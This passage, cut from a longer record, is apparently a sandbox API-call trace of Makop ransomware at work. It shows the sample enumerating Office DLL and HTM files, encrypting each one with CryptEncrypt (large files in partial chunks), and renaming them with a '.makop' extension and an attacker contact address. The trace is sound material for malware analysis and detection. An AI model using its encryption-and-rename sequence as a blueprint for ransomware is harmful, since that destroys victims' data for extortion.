nNumberOfBytesToRead=0x2d88, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2d88, lpOverlapped=0x0) returned 1 [0087.144] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2d90, dwBufLen=0x2d90 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2d90) returned 1 [0087.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.144] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2d90, lpOverlapped=0x0) returned 1 [0087.144] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.145] SetEndOfFile (hFile=0x114) returned 1 [0087.152] GetProcessHeap () returned 0x48a0000 [0087.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.152] GetProcessHeap () returned 0x48a0000 [0087.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.152] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0087.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.154] CloseHandle (hObject=0x114) returned 1 [0087.154] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0087.154] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0087.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0087.157] GetProcessHeap () returned 0x48a0000 [0087.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.157] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0087.157] WriteFile (in: hFile=0x114, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0087.161] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.161] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.161] GetProcessHeap () returned 0x48a0000 [0087.161] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.161] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0087.161] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.161] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0087.162] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0087.162] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0087.162] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0087.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0087.162] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0087.162] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.162] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.163] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x795, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x795, lpOverlapped=0x0) returned 1 [0087.163] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7a0) returned 1 [0087.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.163] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7a0, lpOverlapped=0x0) returned 1 [0087.163] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.163] SetEndOfFile (hFile=0x114) returned 1 [0087.170] GetProcessHeap () returned 0x48a0000 [0087.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.170] GetProcessHeap () returned 0x48a0000 [0087.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.170] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0087.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.172] CloseHandle (hObject=0x114) returned 1 [0087.172] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0087.172] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0087.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0087.174] GetProcessHeap () returned 0x48a0000 [0087.174] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.174] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0087.174] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.174] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.174] GetProcessHeap () returned 0x48a0000 [0087.174] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.175] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0087.175] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.175] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0087.178] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0087.179] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0087.179] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0087.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0087.179] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0087.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0087.179] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.179] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19b80, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x19b80, lpOverlapped=0x0) returned 1 [0087.182] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x19b80, dwBufLen=0x19b80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x19b80) returned 1 [0087.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.183] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19b80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x19b80, lpOverlapped=0x0) returned 1 [0087.184] CryptDestroyKey (hKey=0x48c7168) returned 1 [0087.184] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.184] SetEndOfFile (hFile=0x114) returned 1 [0087.192] GetProcessHeap () returned 0x48a0000 [0087.192] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.192] GetProcessHeap () returned 0x48a0000 [0087.192] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.192] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0087.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.195] CloseHandle (hObject=0x114) returned 1 [0087.195] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0087.195] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0087.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0087.196] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0087.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.198] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=3213192) returned 1 [0087.198] GetProcessHeap () returned 0x48a0000 [0087.198] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.198] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0087.203] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0087.203] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.203] GetProcessHeap () returned 0x48a0000 [0087.203] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.203] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0087.204] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.204] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0087.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0087.204] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0087.204] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0087.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0087.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0087.205] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0087.205] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0087.218] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0087.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.221] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0087.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x310864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.223] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0087.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0087.223] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0087.244] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0087.246] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0087.249] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x310864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.249] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0087.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d0790, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0087.257] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0087.265] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0087.268] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d0790, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.268] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0087.269] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x310864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.270] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0087.270] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x310864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.270] SetEndOfFile (hFile=0xf0) returned 1 [0087.277] GetProcessHeap () returned 0x48a0000 [0087.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.277] GetProcessHeap () returned 0x48a0000 [0087.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.278] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0087.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.279] CloseHandle (hObject=0xf0) returned 1 [0087.280] FindNextFileW (in: 